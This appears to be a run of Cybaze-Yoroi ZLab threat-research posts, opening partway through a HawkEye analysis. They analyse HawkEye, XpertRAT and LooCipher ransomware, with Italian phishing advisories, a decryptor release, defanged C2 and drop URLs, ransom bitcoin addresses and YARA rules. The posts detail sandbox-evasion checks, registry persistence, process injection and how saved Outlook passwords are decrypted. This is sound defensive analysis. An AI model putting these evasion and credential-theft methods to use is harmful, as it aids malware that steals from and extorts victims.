Due to the fact that the payload is written in .NET framework, it is possible to debug the code in order to retrieve all the details of this new sample. The debugging of the sample lets emerge the attribution of the malware, HawkEye.

Figure 16: Recurrent string decryption routine through the usage of Rijndael algorithm

Every sensitive information, string or other information  is encrypted through Rijndael algorithm, as shown in figure 16. Before starting any operation, the malware tries to make a simple evasion trick. It retrievers the username of the victim machine and it compares this one with a series of usernames hardcoded. These usernames are the classical ones adopted by the sandboxes and if one of them is matched, probably the malware is run inside a virtual machine.

Figure 17: Sandbox evasion trick

After the simple check, the info stealer starts to perform its malicious operations. The first malicious operation is the persistence mechanism adopted by the malware:

Figure 18: Persistence mechanism

The persistence is guaranteed through the setting of the classic registry key “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” with the value “C:\Users\Admin\AppData\Roaming\MyApp\MyApp.exe”, having already copied itself in this path. However, it’s important to say that if the malware is launched from the original wrapper, it copies in the “MyApp” path the entire executable, because the payload is executed inside the wrapper process as a thread; instead if only the final payload is executed, only this part is stored. 

Figure 19: Task Manager disabling

A particular auto-protection mechanism adopted by the malware is the disabling the possibility to open the Task Manager process from the user, through the setting of the highlighted registry key in the Figure 19. At this point the malware can start the information stealing routines.

Figure 20: Password retrieving routine from Internet Explorer

The first information retrieved is the password stored inside Internet Explorer through the routine described in the above figure. This is only the starting point: it retrieves all sensitive data and login data from a large list of browsers. A little example is shown in the following figure:

Figure 21: Piece of the browser list harvested by the malware

Below, the complete list:

In the same way, the malware looks for other credentials coming from other services, like CoreFTP, FileZilla and JDownloader. The last information stolen by the malware is the registered email accounts on the victim machine. The searched email clients are:

Now, we wanted to deepen the password gathering routine of the malware on the Microsoft Outlook application. So, we created a fake account and we logged on the Microsoft email account software. 

Figure 22: Registry key where it is stored the Microsoft Outlook client user configuration

Themalware retrieves a particular registry key: “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook”. Inside of it is stored the configuration of the Microsoft Outlook user profile.

Figure 23: Outlook password decryption routine

The method “smethod_50”  in figure 23 shows how is simple to decrypt the password saved in that registry key: it is enough retrieve the array of bytes and use it as parameter, together with the CurrentUser DataProtectionScope,  to the static method provided from the .NET framework, “ProtectedData.Unprotect()”. After that, the harvested information are collected in a list, ready to be sent to the server.

Figure 24: Creation of the list of the gathered accounts

The last action is properly the preparation to send the information to the recipient. As the classic HawkEye malware, the communication protocol designed to transmit the stolen info is SMTP. For this reason the malware needs to use the API provided by the .NET framework in order to  instantiate an SMTP client. Debugging until the right point, the malware configuration are revealed:

Figure 25: SMTP client account configuration

Conclusion 

Hawkeye is nowadays a well known threat. The security firms analyzed in an excellent way the malware and all the infection chain, but this sample, like our latest ones, has the peculiarity to be protected by a complex and evasive packer. 

In the last two posts we saw a tough Delphi packer to analyze, but also this one has some points to analyze that make challenging  the reverse engineering process for the analyst. In the end, we were able to dissect all the malware chain revealing the threat actor exfiltration address.

Indicators of Compromise

Hashes

C2 (smtps):

Persistence Mechanism:

Yara Rules 

rule ISO_Dropper_HawkEye_201907 {
meta:
	description = "Yara Rule for HawkEye ISO dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-08"
	tlp = "white"
	category = "informational"
strings:
	$s1 = "PowerISO" ascii wide
	$s2 = "MSVBVM60.DLL" ascii wide
	$h1 = {76 B6 45 77 B6 4C 7D B9} 
	
condition:
	all of them
}

rule Visual_Basic_Loader_HawkEye_201906 {
meta:
	description = "Yara Rule for Visual Basic Loader and its payload (HawkEye)"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-07-08"
	tlp = "white"
	category = "informational"
strings:
	$h1 = {52 94 5B C2 56 17 AB 6E 9D 6D F0}
	$h2 = {13 41 63 ED 92 6B DF 6B 36 CD F8}
	$s1 = "MSVBVM60.DLL" ascii wide
	
condition:
	uint16(0) == 0x5A4D and all of them
}

This blog post was authored by Luigi Martire, Antonio Pirozzi and Luca Mella of Cybaze-Yoroi Z-LAB

Nuovo Vettore di Attacco (Allegati CHM)

Proto: N020719.

Con la presente Yoroi desidera informarLa riguardo al recente rilevamento di nuovo vettore di attacco potenzialmente utilizzabile da cyber-criminali e attaccanti attraverso email malevole. Sono stati infatti rilasciati dettagli tecnici relativi a metodologie atte ad abusare dello strumento di sistema Microsoft Compiled HTML Help presente su tutti i sistemi Microsoft e responsabile dell’apertura dei file .CHM, comunemente utilizzati per la fruizione di supporti documentali relativi ad Applicativi Software.

Ricercatori indipendenti hanno dimostrato come è possibile ingannare lo strumento “Microsoft Compiled HTML Help” per far si che esegua il contenuto di file JS/HTML ed XML arbitrari, non solo dei formati CHM attesi dallo strumento, rendendo così possibile l’esecuzione di codice arbitrario ed il furto di dati dal sistema vittima previa la sola apertura del file CHM. 

In passato, file CHM validi sono stati utilizzati da gruppi criminali ai danni di organizzazioni in ambito Bancario e Finanziario. Per questa ragione esiste il rischio che questa nuova tecnica venga utilizzata in campagne email malevole od in attacchi di spear-phishing. Pertanto, si suggerisce di valutare il blocco degli allegati email ".CHM" direttamente all'ingresso del perimetro di sicurezza qualora inutilizzati.

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

LooCipher Ransomware Decryptor Released for Free

Introduction

Recently, our ZLab research team published a detailed analysis of the LooCipher ransomware, a new malware threat that spreads using weaponized Word document and abuses ToR network proxy services to reach its command and control servers.

Cybaze-Yoroi ZLab team further analyzed this threat and defeated it releasing a free decryptor for LooCipher victims.

Encryption Details

According to Fortinet, the encryption algorithm used by the LooCipher ransomware is AES-128 ECB with a 16-bytes key. The key is generated in a random way, starting from an array of pre-defined characters:

Loocipher Ransomware

Since AES is a symmetric-key algorithm, retrieving the key it is possible to restore all encrypted files. The key will be sent to the C2 over HTTP as GET parameter (“k=”), but obviously it is obfuscated.

Loocipher Ransomware

Experts pointed out an interesting details revealed by Fortinet researchers, the obfuscation method is very trivial. It consists in a simple replacing of each key characters with a pre-defined double-digit number, belonging to the following set:

Loocipher Ransomware

So, once retrieved the obfuscated key it is possible to reconstruct the original key and decrypt all files.

The crucial point is to extract the obfuscated key. As shown by Fortinet, this can be done in two ways:

LooCipher Decryptor

As previously stated, Cybaze-Yoroi ZLab released an automatic tool that is able to extract the secret key and proceed with the decryption of all files previously encrypted by the LooCipher ransomware. The tool requires the LooCipher process to be active.

The tool is available on GitHub at the following URL:

https://github.com/ZLab-Cybaze-Yoroi/LooCipher_Decryption_Tool

Enjoi it.

Nuova Campagna di Attacco verso Aziende Italiane

Proto: N010719.

Con la presente Yoroi desidera informarLa riguardo al recente rilevamento di una nuova campagna di attacco in corso ai danni di Organizzazioni ed Aziende italiane. Le email malevole simulano invii di documenti contabili, fatture o solleciti di pagamento, al loro interno tuttavia sono presenti allegati in grado di infettare la macchina vittima con un impianto malware capace di intercettare digitazioni da tastiera, trafugare le password salvate, alterare la navigazione web utente e permettere l’accesso locale agli attaccanti. La minaccia è tracciata da CERT-Yoroi come TH-124, attiva dal 2018.

Figura. Esempio Documento Infetto

Di seguito si riportano gli indicatori di compromissione individuati a seguito delle analisi:

(Analisi in corso)

Yoroi consiglia infine di mantenere alto il livello di consapevolezza degli utenti, avvisandoli periodicamente delle minacce in corso e di utilizzare un team di esperti per salvaguardare la sicurezza del perimetro "cyber". Per avere un indice di minaccia in tempo reale si consiglia di visitare il seguente link: Yoroi Cyber Security Index

Spotting RATs: Tales from a Criminal Attack

Introduction

In the last period we observed an increase of the malware spreading using less-known archive types as initial dropper, in particular ISO image. The spread of threats exploiting ISO image to hide themselves is helped by the Windows functionality, introduced since Windows 8, which allows the user to easily mount this file type through a double-click on it.

Recently, our monitoring operations discovered an interesting attack wave leveraging this technique, especially due to the particular impersonification the attacker was trying: he/they was mimicking an important Italian Manufacturing company

Technical Analysis

Figure 1. Phishing email content

The phishing email (Figure 1) has a well-designed body containing the enterprise logo and references about the impersonated company: its international reputation has been abused by attackers to lure the victim to open up the embedded attachment.

Surely the presence of an ISO file as attachment is suspicious, but for an unaware user it could go unnoticed, also thanks to the new Windows versions which natively support the filetype. 

The Loader

Extracting the content of the ISO image, we encounter an EXE file named “po-ima0948436.exe”. From the first retrieved information, in particular the “BobSoft Mini Delphi” signature, it seems to be packed with a well-known Delphi packer (already studied by other popular firms). According to FireEye this packer is already used by different malware family, like Pony, IRStealer, Nanocore, Netwire, Remcos, nJRAT. Moreover, in our previous report we have already studied the Delphi wrapper, this time applied to a Nanocore variant.

Figure 2. Evidence of the Delphi wrapper

As expected, the malicious payload is stored in the resource section in encrypted way (probably using a simple XOR-encryption). This is one of the main features of the Delphi packer.

Figure 3. Encrypted payload, stored in Resource section

Rather than studying the payload extraction mechanism, we focused on the huge number of checks to detect the lab environment and, consequently, to make the analysis harder. The evasion tricks are surely part of initial Delphi packer; it probably was generated using a specific factory which allows the attacker to customize the features will be added to its weapon. 

Once executed, the malware obviously kills itself detecting the analysis machine, so we are going to investigate what are the tricks employed to stop us. Using our custom tool, we are able to extract information about the high-level techniques fielded by the malware writer to evade the analysis.

Figure 4. High-level evasion techniques

The first trick exploits a well-known Windows API call, “IsDebuggerPresent” to check if the process is executed in debugging mode. Bypass this control is quite simple: using a debugger we can modify the return value of the API call, hijacking the malware control flow.

Figure 5. IsDebuggerPresent API call

Immediately after the first trick, the malware shows another technique to identify the fake environment, monitoring the cursor movements. The cursor movements, indeed, represent the presence of a user operating with the system. So, the malware can identify if it is executed in a sandbox evaluating the different position of the cursor in periodic time intervals. This can be done through a finite loop in which the process check the position using the “GetCursorPos” API call.

Figure 5. Check against the cursor movements

After that, the malware retrieves the list of all active processes. This list will be used later to identify the presence of programs belonging to analysis environment. The most popular strategy to obtain the processes list is to use the “CreateToolhelp32Snapshot” Windows function. The malware needs to navigate the list in order to create a buffer with the processes’ executable paths only (“svchost.exe”, “services.exe” etc.). So, it must invoke the  “Process32First” and “Process32Next” API calls, enter in the PROCESSENTRY32 structure and extract the “szExeFile” field, containing the executable path name.

Figure 6. API calls to obtain the processes list

The information about the processes are stored to be processed in a second moment. At this point, the malware exhibits another evasion technique, but more advanced than the previous ones. Using the CPUID instruction, it tries to extract information about the processor and its features.

According to VMware specifications “Intel and AMD have reserved CPUID leaves 0x40000000 - 0x400000FF for software use. Hypervisors can use these leaves to provide an interface to pass information from the hypervisor to the guest operating system running inside a virtual machine. [...] VMware defines the 0x40000000 leaf as the hypervisor CPUID information leaf”. So, calling the instruction with the 0x40000000 parameter (in EAX register), the query result is the “Hypervisor Brand” string, split into three different registers: ECX, EDX and EBX (shown in Figure 7).

Figure 7. Result of CPUID instruction invocation

As shown in the above figure, the result string is reversed: the malware needs to manipulate it to obtain the right information “VMwareVMware” (Figure 8).

Figure 8. String reporting the hypervisor brand

Using this information, the malware is able to check if it is executed on a virtualized environment comparing the string with the embedded ones:

Figure 9. Embedded string used during the hypervisor check

Bypassed this check, the malware knows to be in a non-virtualized environment but it is not yet the time to pull out its malicious behavior! At this point, in fact, it reloads the old processes list, retrieved in a previous phase, to compare its entries with the hardcoded names belonging to programs used in malware analysis, like:

Figure 10. Check against malware analysis tools

The same is done with components belonging to anti-malware products, in particular Avast and AVG. The hardcoded components names are:

Figure 11. Check against anti-malware software components

The last check consists in the identification of defined strings, related to malware analysis environment, with the absolute path in which the initial EXE is located. If the path contains words like “sandbox”, “malware”, “sample”, “virus” and others, the execution flow terminates. 

Figure 12. Check against suspicious strings in path

If all the checks are successful, the malware can show its malicious behavior. It creates a child process containing the same instructions of its parent, so it repeats all the checks just executed, but it has the only purpose of injecting the final payload in a new “iexplore.exe” process. 

Figure 13. Active processes

Analyzing the process, it is possible to identify a suspicious thread starting from 0x00000000 address. Probably the technique used to inject malicious code in the legit one is based on “CreateRemoteThread”, with which the malware is able to allocate memory in the legit process memory space, fill it with malicious instructions and force the victim process to start the execution of the new thread.

Figure 14. Injected thread

The Payload

The final payload is nothing more XpertRAT, a well-known Remote Administration Tool.  When executed, it writes a copy of itself in a hidden folder named %AppData%\Roaming\{GUID}, setting the persistence writing the HKCU\Software\Microsoft\Windows\CurrentVersion\Run\{GUID} with the location of the EXE just created.

Figure 15. Malware’s artifacts

In the below figure, it is possible to see the written registry key pointing to the executable to start at the next logons.

Figure 16. Malware persistence through registry key

In the same folder, there is a file named “ut” which is used by the malware as buffer to contain the exfiltrated data in “keylogging” mode, before sending it to the server.

So, the RAT tries to establish a connection to its C2, hosted at “thisurl.doesntexist[.]com”, waiting for new commands to execute on the victim machine.

Figure 17. Malware attempt to communicate

Unfortunately, the server seems to be down at the analysis time, so we can only inspect the network flow using a fake net. As shown in the following figure, the malware sends a TCP stream containing some parameters used at server-side to identify the client that tries to establish the connection.

Figure 18. Malware’s network traffic

Conclusion

Finally, the analyzed sample is a classic Remote Administration Tool which has a long list of capabilities, such as keylogging, remote desktop, command execution and other exfiltration abilities.

However, the interesting part of the analysis is surely the initial Delphi wrapper, which is full of advanced tricks to make the analysis harder. As mentioned before, this packer surely derives from some kind of factory which allows the attacker to choose the capabilities he wants. We, in fact, intercepted many other infections based on the same Delphi structure, but with different features in terms of evasion and encryption, as evidence of the possibility of customize it.  


Indicators of Compromise

Hashes

C2:

Yara Rules


import "pe"

rule ISO_Dropper_XpertRAT_201906 {
meta:
	description = "Yara Rule for XpertRAT ISO dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-30"
	tlp = "white"
	category = "informational"
strings:
	$s1 = "PowerISO" ascii wide
	$s2 = "PO-IMA0948436" ascii wide
	$h1 = {D0 50 6A 02 6A 00 8B 45 E4 50 E8 E1 6D FE FF EB} 
	
condition:
	all of them
}

rule Delphi_Loader_XpertRAT_201906 {
meta:
	description = "Yara Rule for Delphi Loader and its payload (XpertRAT)"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-30"
	tlp = "white"
	category = "informational"
strings:
	$h1 = {4D 5A 50}
	$h2 = {E2 FE 51 F5 34 94 63 AB A4 FD 1B 26 E9 BA CF 3C}
	$s1 = "SOFTWARE\\Borland\\Delphi\\RTL" ascii wide
	
condition:
	pe.number_of_resources == 174 and all of them
}

This blog post was authored by Antonio Farina, Davide Testa and Luca Mella of Cybaze-Yoroi Z-LAB

LooCipher: The New Infernal Ransomware

Introduction

A new Ransomware began to threats the digital world. This time using a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular religious figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families, but digging into its internals we also found elements suggesting its operators could be able to run large scale campaigns.  

Technical Analysis

Unlike most ransomware, LooCipher uses a macro-weaponized document as dropper of the real threat. We identified two different document files involved to deploy the ransomware, they are called: “Info_BSV_2019.docm” and “Info_Project_BSV_2019.docm”. Both files are very poor in design and contain a single text line inviting the user to enable macro execution.

Figure 1. Document content

Exploring the content in-depth, we retrieved its minimal macro code payload: its only purpose is to download the ransomware from the “hxxp://hcwyo5rfapkytajg.onion[.]pet/2hq68vxr3f.exe” dropurl and launch it.

The author did not care to obfuscate in any sophisticated way his malicious code, even some comment strings like “//binary” and “//overwrite” are still visible.

Figure 2. Macro code

Once run, it starts the encryption of all the victim’s files, except for the system and programs folders: “Program Files”, “Program Files (x86)”, “Windows”. Obviously, this trick allows to avoid the corruption of the files needed to start the operating system, letting the user login to its PC to see the ransom request. 

Figure 3. Ransomware excluded folders

After a long files enumeration phase, the ransomware encrypts all files ending with the following extensions:

.jpg, .jpeg, .xml, .xsl, .wps, .cmf, .vbs, .accdb, .cdr, .svg, .conf, .config, .wb2, .msg, .azw, .azw1, .azw3, .azw4, .lit, .apnx, .mobi, .p12, .p7b, .p7c, .pfx, .pem, .cer, .key, .der, .mdb, .htm, .html, .class, .java, .asp, .aspx, .cgi, .php, .py, .jsp, .bak, .dat, .pst, .eml, .xps, .sqllite, .sql, .jar, .wpd, .crt, .csv, .prf, .cnf, .indd, .number, .pages, .x3f, .srw, .pef, .raf, .rf, .nrw, .nef, .mrw, .mef, .kdc, .dcr, .crw, .eip, .fff, .iiq, .k25, .crwl, .bay, .sr2, .ari, .srf, .arw, .cr2, .raw, .rwl, .rw2, .r3d, .3fr, .eps, .pdd, .dng, .dxf, .dwg, .psd, .png, .jpe, .bmp, .gif, .tiff, .gfx, .jge, .tga, .jfif, .emf, .3dm, .3ds, .max, .obj, .a2c, .dds, .pspimage, .yuv, .3g2, .3gp, .asf, .asx, .mpg, .mpeg, .avi, .mov, .flv, .wma, .wmv, .ogg, .swf, .ptx, .ape, .aif, .av, .ram, .m3u, .movie, .mp1, .mp2, .mp3, .mp4, .mp4v, .mpa, .mpe, .mpv2, .rpf, .vlc, .m4a, .aac, .aa3, .amr, .mkv, .dvd, .mts, .vob, .3ga, .m4v, .srt, .aepx, .camproj, .dash, .zip, .rar, .gzip, .mdk, .mdf, .iso, .bin, .cue, .dbf, .erf, .dmg, .toast, .vcd, .ccd, .disc, .nrg, .nri, .cdi, .ai, .doc, .docm, .docx, .dxg, .odb, .odm, .odp, .ods, .odt, .orf, .ppt, .pptm, .pptx, .rtf, .xlk, .xls, .xlsb, .xlsm, .xlsx, .pdf, .mobi, .epub, .sage

During the encryption phase, for each file to be encrypted, the malware creates the encrypted copy of the files but it does not delete the original ones, rather it empties them and forces a 0-byte size.

Figure 4. Example of ciphered file with empty original file

It is not clear if this mechanism derives from buggy code or it is a specific peculiarity of this malware, intentionally introduced by the author.

Figure 5. Actions during encryption phase

When the encryption phase ends, it creates a FAQ folder within victim’s desktop reporting the instructions to proceed with ransom payment in a “friendly” Q&A form.

Figure 6. File containing the payment instructions

As stated in the payment instruction file, the victim has only five days to proceed with the payment. After this period, the key will be automatically destroyed, preventing any way to recover the user content. Similar information is also displayed in the image set as background and into the interactive pop-up window. 

Figure 7. Background image and pop-up window reporting info about the payment

As soon as the encryption phase is ended, the malicious process contacts its C2 sending information about the infected machine and retrieving the BTC address to display in the pop-up window. 

Figure 8. Example of HTTP request to retrieve the BTC address

The C2 is hosted in the TOR Network, at the “hxxp://hcwyo5rfapkytajg[.]onion” address, so the malware uses some services which act as proxies between the Darknet and clearnet to easily perform its malicious actions, avoiding the installation of TOR libraries on the victim machine. The abused services are:

The request sent by the malware includes information like the User-ID assigned to the victim machine during the encryption phase “u=rEui7jhIJk6SaRTyhL08N7h1Sft” and its public IP address “i=xxx.xxx.xxx.xxx”. The C2 server replies specifying the BTC Address the user will pay the requested amount to, for instance “BTC_ADDR: 16HDCwCuy2R5b7YFCmsidXzHQrvHmT7VHGG”.

We noticed that every time the ransomware contacts its C2 at the “k.php” resource, the server generates a new BTC Address. Probably, the backend embeds a BTC wallet factory able to register a new wallet on the blockchain for each ransomware infection. This trick surely allows to make more stealthy BTC transactions, avoiding a huge number of transactions towards the same wallet and hardening the cash flow reconstruction. In the following table we inserted some of the BTC addresses generated by the C2:

1LhT45NdcrRBeFfxp67gcKteKp7K5BR374
1QGq13GGdDtfUiBKLS4Re8fdYlVkK8Zbe
1M1ZS5QfZ3Z3ufFagJ455QDqkMvHJhNkwT
15XWd5ixtznsinWFZ9YEk8HUCaMqcm4SiZ
1AUfa421Huj5Hmh5JDFmg36X8VmJPHy7LS
17BvolK1P1kFQq7BPB4iNocisdqE6sEKkv
1UwSDTuTkbPxQt7zglQVsigQunpxhL9Qk
13YNF7U7VTt9DGw7QNWpTEGCrYEmV2qjcx
1MPKAcpe8pnZubBQgUuw3k8wfkTB6sFYAT
16HDCwCuy2RSb7YFCwwdXzHQrvilmT7VHGG
...

Table. Example of Generated BTC Addresses

However, if the victim machine is offline the ransomware is not able to download the BTC address to display in the window. For this reason, the malware also embeds a fallback addresses list to use when it fails to reach the C2.

Figure 9. Other BTC addresses embedded in ransomware binary
1Ps5Vd9dKWuy9FuMDkec9qquCyTLjc2Bxe
19YmdTjw7ZWHEDac8wWzCNdZT8oXsDedtV
1CrdZvvtzrZTJ78k92XuPizhhgtDxQ8c4B
1JHEqi4QsTWz4gB9qZTACP7JggJzAmf6eA
1Azfk7fWwCRynRk8p7qupLqqaADsjwFm4N

Table. Hardcoded BTC Addresses on sample

An interesting peculiarity of this ransomware is its capability to work both as encryptor and as decryptor. The last answer of the instruction file, in fact, reports that the decryptor software is embedded into the ransomware binary in order to make the decryption process as simple as possible.

In fact, after the payment the victim can click on “Check Payment” button included in the pop-up window, and so, if the transaction has been confirmed, the “DECRYPT” button will be enabled. Moreover, if the user accidentally closes the pop-up window needed to trigger the decryption, he can download a new copy of the ransomware and use it as decryptor. That copy is hosted on the MEGA repository “hxxps://mega [.nz/#!KclRVIRY!YrUgGjvldsoTuNZbCOjebAz5La7hbB41nJHk1mlgqZo”.

Clicking the “Check Payment” button, the process sends a new HTTP request to its C2 to “/d.php” in order to check if the payment related to the specific User-ID has been received.

Figure 10. Example of HTTP request to check if the payment has been executed

In the specific case, the server replies with the “0” value, indicating the payment has not been approved, so the “DECRYPT” button will not be enabled. Moreover, if the contacted server is down, the malware tries to reach its TOR C2 using one of the other above-mentioned proxies, avoiding proxy service failures. 

Figure 11. HTTP-TOR proxy services used by the malware

Conclusion

In the nowadays, Ransomware is one of the quickest ways to monetize cyber-criminal activities, and for this reason a wide-range of threat actors, including micro cyber-criminals, leverage these "tools" to threaten organizations and companies. LooCipher is a new entry in this sector: it's a Ransomware family spreading through malicious emails embedding infected Office documents, differently from the recent Sodinokibi campaign that used redirectors to land the victims on Exploit Kits infected pages (eg RIG EK).

LooCipher encrypts all files on victim computer, it abuses Clearnet-to-Tor proxy services to connect to its Command and Control hidden behind onion sites. Cybaze-Yoroi ZLAB advises to always keep a recent, tested and offline backup of all the business critical data.

Indicators of Compromise

Hashes:

DropURL:

C2s:

Yara Rules

import "pe"
rule LooCipher_dropper_1906 {
meta:
	description = "Yara Rule for LooCipher ransomware .docm dropper"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-21"
	tlp = "white"
	category = "informational"
strings:
	$s1 = {FF FD 72 77 6D 3A 3F 96 45 70 00 63 85 92 19 8A}
	$s2 = {35 58 34 CB AF AF 52 A6 13 A6 0C BC 18 A5 C1 38}
	
	$a1 = { 50 4B 03 04 }

condition:
	$a1 and 1 of ($s*)
}

rule LooCipher_1906 {
meta:
	description = "Yara Rule for LooCipher ransomware"
	author = "Cybaze - Yoroi ZLab"
	last_updated = "2019-06-21"
	tlp = "white"
	category = "informational"
strings:
	$s1 = ".lcphr"
	$s2 = "hcwyo5rfapkytajg"
	$s3 = "LooCipher_wallpaper.bmp"
	
	$a1 = { 4D 5A }

condition:
	$a1 and 1 of ($s*) and pe.sections[6].name == ".00cfg"
}

This blog post was authored by Antonio Farina, Antonio Pirozzi and Luca Mella of Cybaze-Yoroi Z-LAB